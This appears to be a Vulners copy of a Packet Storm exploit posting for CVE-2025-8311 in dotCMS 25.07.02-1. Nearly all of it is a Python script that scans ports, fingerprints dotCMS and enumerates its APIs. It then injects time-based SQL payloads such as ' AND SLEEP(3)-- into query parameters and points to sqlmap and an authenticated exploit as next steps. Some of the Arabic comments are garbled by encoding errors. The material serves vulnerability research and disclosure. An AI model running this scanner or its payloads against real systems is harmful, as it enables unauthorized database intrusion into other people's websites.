Lucene search
K

๐Ÿ“„ dotCMS 25.07.02-1 Security Scanner

๐Ÿ—“๏ธย 15 Dec 2025ย 00:00:00Reported byย indoushkaTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 148ย Views

DotCMS 25.07.02-1 SQL injection scanner and exploit script referencing CVE-2025-8311.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-8311
4 Sep 202515:19
โ€“circl
CNNVD
DotCMS SQLๆณจๅ…ฅๆผๆดž
4 Sep 202500:00
โ€“cnnvd
CVE
CVE-2025-8311
4 Sep 202514:12
โ€“cve
Cvelist
CVE-2025-8311
4 Sep 202514:12
โ€“cvelist
Exploit DB
dotCMS 25.07.02-1 - Authenticated Blind SQL Injection
16 Sep 202500:00
โ€“exploitdb
EUVD
EUVD-2025-27276
3 Oct 202520:07
โ€“euvd
NVD
CVE-2025-8311
4 Sep 202515:15
โ€“nvd
Packet Storm
๐Ÿ“„ dotCMS 25.07.02-1 SQL Injection
3 Nov 202500:00
โ€“packetstorm
Packet Storm
๐Ÿ“„ dotCMS 25.07.02-1 SQL Injection
9 Dec 202500:00
โ€“packetstorm
Positive Technologies
PT-2025-35943
4 Sep 202500:00
โ€“ptsecurity
Rows per page
=============================================================================================================================================
    | # Title     : dotCMS 25.07.02-1 Security Scanner                                                                                          |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://www.dotcms.com/                                                                                                     |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/211125/ & 	CVE-2025-8311
    
    [+] Summary :  This python script represents a sophisticated dual-method SQL Injection exploit targeting DotCMS content management systems. 
                   
    	
    [+]  Usage :   * : Save as: poc.py
                       Run    : python poc.py
    	
    [+]  POC :	
      
    #!/usr/bin/env python3
    """
    dotCMS SQL Injection Scanner 
    """
    
    import sys
    import time
    import socket
    import requests
    import argparse
    from urllib.parse import urlparse
    
    requests.packages.urllib3.disable_warnings()
    
    class SimpleDotCMSScanner:
        def __init__(self, target):
            self.target = target
            self.session = requests.Session()
            self.session.verify = False
            self.session.timeout = 10
            
            # ู‚ุงุฆู…ุฉ ุจุงู„ู…ู†ุงูุฐ ุงู„ุดุงุฆุนุฉ ู„ู€dotCMS
            self.common_ports = [8443, 8080, 80, 443, 8081, 8082, 8888]
            
            # ู‚ุงุฆู…ุฉ ุจู€subdomains ู…ุญุชู…ู„ุฉ
            self.common_subdomains = [
                "demo", "test", "dev", "staging", 
                "admin", "portal", "cms", "dotcms"
            ]
            
            # ู‚ุงุฆู…ุฉ ุจู€paths ุดุงุฆุนุฉ
            self.common_paths = [
                "/", "/dotAdmin/", "/html/", "/c/", 
                "/api/v1/", "/api/", "/application/",
                "/admin/", "/login", "/signin"
            ]
    
        def test_port(self, host, port):
            """ุงุฎุชุจุงุฑ ุฅุฐุง ูƒุงู† ุงู„ู…ู†ูุฐ ู…ูุชูˆุญุงู‹"""
            try:
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                sock.settimeout(3)
                result = sock.connect_ex((host, port))
                sock.close()
                return result == 0
            except:
                return False
    
        def discover_dotcms(self):
            """ุงูƒุชุดุงู ุฅุนุฏุงุฏ dotCMS"""
            print("\n๐Ÿ” Discovering dotCMS configuration...")
            
            # ุชู†ุธูŠู ุงู„ู‡ุฏู
            target = self.target.lower().strip()
            
            results = {
                "host": "",
                "port": None,
                "protocol": "https",
                "base_url": "",
                "accessible": False
            }
            
            # ุชุฌุฒุฆุฉ ุงู„ู‡ุฏู
            if "://" in target:
                parsed = urlparse(target)
                host = parsed.netloc
                if ":" in host:
                    host, port = host.split(":", 1)
                    port = int(port)
                else:
                    port = None
            else:
                host = target
                port = None
            
            # ุฅุฒุงู„ุฉ www ุฅุฐุง ูƒุงู† ู…ูˆุฌูˆุฏุงู‹
            if host.startswith("www."):
                host = host[4:]
            
            results["host"] = host
            
            # ุชุญุฏูŠุฏ ุงู„ู…ู†ูุฐ
            if port:
                results["port"] = port
            else:
                # ุงุฎุชุจุงุฑ ุงู„ู…ู†ุงูุฐ ุงู„ุดุงุฆุนุฉ
                for port in self.common_ports:
                    if self.test_port(host, port):
                        print(f"  โœ“ Port {port} is open")
                        results["port"] = port
                        break
            
            if not results["port"]:
                print("  โœ— No open ports found")
                return results
            
            # ุงุฎุชุจุงุฑ ุงู„ุจุฑูˆุชูˆูƒูˆู„ุงุช
            protocols = ["https", "http"]
            for protocol in protocols:
                base_url = f"{protocol}://{host}:{results['port']}"
                
                # ุงุฎุชุจุงุฑ ุงู„ุงุชุตุงู„
                for path in self.common_paths[:3]:  # ุฃูˆู„ 3 ูู‚ุท ู„ู„ุณุฑุนุฉ
                    url = base_url + path
                    try:
                        response = self.session.get(url, timeout=5)
                        if response.status_code < 500:
                            print(f"  โœ“ {protocol.upper()} accessible at {url}")
                            results["protocol"] = protocol
                            results["base_url"] = base_url
                            results["accessible"] = True
                            
                            # ุงู„ุชุญู‚ู‚ ู…ู† ูˆุฌูˆุฏ dotCMS
                            if "dotcms" in response.text.lower():
                                print(f"  โœ“ dotCMS detected!")
                            elif "dotadmin" in response.text.lower():
                                print(f"  โœ“ dotAdmin detected!")
                            
                            return results
                    except Exception as e:
                        continue
            
            return results
    
        def find_public_apis(self, base_url):
            """ุงู„ุจุญุซ ุนู† ูˆุงุฌู‡ุงุช API ุนุงู…ุฉ"""
            print("\n๐Ÿ”Ž Searching for public APIs...")
            
            api_endpoints = [
                "/api/v1/system/status",
                "/api/v1/version",
                "/api/v1/sites",
                "/api/v1/content",
                "/api/v1/nav",
                "/api/v1/menu",
                "/api/v1/widgets",
                "/api/v1/containers",
                "/api/v1/templates"
            ]
            
            found_apis = []
            
            for endpoint in api_endpoints:
                url = base_url + endpoint
                try:
                    response = self.session.get(url, timeout=5)
                    
                    if response.status_code == 200:
                        print(f"  โœ“ Public API: {endpoint}")
                        found_apis.append({
                            "url": url,
                            "status": response.status_code,
                            "content_type": response.headers.get('Content-Type', ''),
                            "size": len(response.content)
                        })
                    elif response.status_code in [401, 403]:
                        print(f"  ! Protected API: {endpoint} (Auth required)")
                    elif response.status_code == 404:
                        pass  # ู„ุง ุชุนุฑุถ ุงู„ู€404
                    else:
                        print(f"  ? API: {endpoint} (Status: {response.status_code})")
                        
                except Exception as e:
                    pass
            
            return found_apis
    
        def quick_sqli_test(self, api_url):
            """ุงุฎุชุจุงุฑ ุณุฑูŠุน ู„ู€SQL Injection"""
            print(f"\nโšก Quick SQLi test on: {api_url}")
            
            # ุงุฎุชุจุงุฑ ุจุณูŠุท ู„ู€Time-based SQLi
            test_params = ["filter", "orderby", "sort", "id", "type"]
            
            for param in test_params:
                test_url = f"{api_url}?{param}=test"
                
                # ุจุงูŠู„ูˆุฏ Time-based
                payloads = [
                    "' AND SLEEP(3)--",
                    "' OR (SELECT 1 FROM (SELECT SLEEP(3))a)--",
                    "') AND SLEEP(3)--"
                ]
                
                for payload in payloads:
                    full_url = test_url + payload
                    try:
                        start = time.time()
                        response = self.session.get(full_url, timeout=10)
                        elapsed = time.time() - start
                        
                        if elapsed >= 3:
                            print(f"  ๐Ÿšจ POSSIBLE TIME-BASED SQLi in parameter: {param}")
                            print(f"     Payload: {payload}")
                            print(f"     Response time: {elapsed:.2f}s")
                            return True
                            
                    except requests.exceptions.Timeout:
                        print(f"  ๐Ÿšจ TIMEOUT - Possible SQLi in parameter: {param}")
                        return True
                    except:
                        pass
            
            print("  โœ“ No obvious SQLi detected")
            return False
    
        def scan(self):
            """ุงู„ู…ุณุญ ุงู„ุฑุฆูŠุณูŠ"""
            print("\n" + "="*60)
            print("dotCMS Security Scanner")
            print("="*60)
            
            # ุงู„ุฎุทูˆุฉ 1: ุงู„ุงูƒุชุดุงู
            config = self.discover_dotcms()
            
            if not config["accessible"]:
                print("\nโŒ Cannot access the target")
                print("\n๐Ÿ’ก Try these alternatives:")
                print("   1. python scanner.py localhost:8443")
                print("   2. python scanner.py 127.0.0.1:8080")
                print("   3. python scanner.py your-domain.com")
                return
            
            print(f"\nโœ… Target found:")
            print(f"   Host: {config['host']}")
            print(f"   Port: {config['port']}")
            print(f"   Protocol: {config['protocol']}")
            print(f"   Base URL: {config['base_url']}")
            
            # ุงู„ุฎุทูˆุฉ 2: ุงู„ุจุญุซ ุนู† APIs
            apis = self.find_public_apis(config["base_url"])
            
            if not apis:
                print("\nโš ๏ธ  No public APIs found")
                print("\n๐ŸŽฏ Try these common endpoints:")
                for path in self.common_paths:
                    print(f"   {config['base_url']}{path}")
                return
            
            # ุงู„ุฎุทูˆุฉ 3: ุงุฎุชุจุงุฑ SQLi ุนู„ู‰ ูƒู„ API
            sql_vulnerabilities = []
            for api in apis:
                if self.quick_sqli_test(api["url"]):
                    sql_vulnerabilities.append(api["url"])
            
            # ุนุฑุถ ุงู„ู†ุชุงุฆุฌ
            print("\n" + "="*60)
            print("SCAN RESULTS")
            print("="*60)
            
            print(f"\n๐Ÿ“Š Summary:")
            print(f"   Total APIs found: {len(apis)}")
            print(f"   Possible SQLi vulnerabilities: {len(sql_vulnerabilities)}")
            
            if sql_vulnerabilities:
                print(f"\n๐Ÿšจ Vulnerable endpoints:")
                for vuln in sql_vulnerabilities:
                    print(f"   โ€ข {vuln}")
                
                print(f"\n๐Ÿ’ก Next steps:")
                print(f"   1. Test manually with sqlmap: sqlmap -u \"{sql_vulnerabilities[0]}\"")
                print(f"   2. Use the full exploit script with authentication token")
                print(f"   3. Check for authentication bypass methods")
            else:
                print(f"\nโœ… No SQL injection vulnerabilities found in public APIs")
                print(f"\n๐Ÿ’ก Try authenticated endpoints if you have credentials")
    
    def main():
        parser = argparse.ArgumentParser(description="Simple dotCMS Security Scanner")
        parser.add_argument("target", help="Target (e.g., demo.dotcms.com, localhost:8443)")
        
        args = parser.parse_args()
        
        print(r"""
     โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ•—   โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•—   โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— 
     โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—
     โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•‘โ–ˆโ–ˆ   โ–ˆโ•”โ•โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ• โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘
     โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘โ•šโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ•šโ•โ•โ•โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•‘
     โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘ โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•‘
     โ•šโ•โ•โ•šโ•โ•  โ•šโ•โ•โ•โ•โ•šโ•โ•โ•โ•โ•โ•  โ•šโ•โ•โ•โ•โ•โ•  โ•šโ•โ•โ•โ•โ•โ• โ•šโ•โ•โ•โ•โ•โ•โ•โ•šโ•โ•  โ•šโ•โ•โ•šโ•โ•  โ•šโ•โ•โ•šโ•โ•  โ•šโ•โ•
        dotCMS Security Scanner 
        """)
        
        scanner = SimpleDotCMSScanner(args.target)
        scanner.scan()
    
    if __name__ == "__main__":
        try:
            main()
        except KeyboardInterrupt:
            print("\n\n[!] Scan interrupted by user")
            sys.exit(0)
        except Exception as e:
            print(f"\n[!] Error: {e}")
            sys.exit(1)
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Dec 2025 00:00Current
7.8High risk
Vulners AI Score7.8
CVSS 49.4
EPSS0.01558
SSVC
148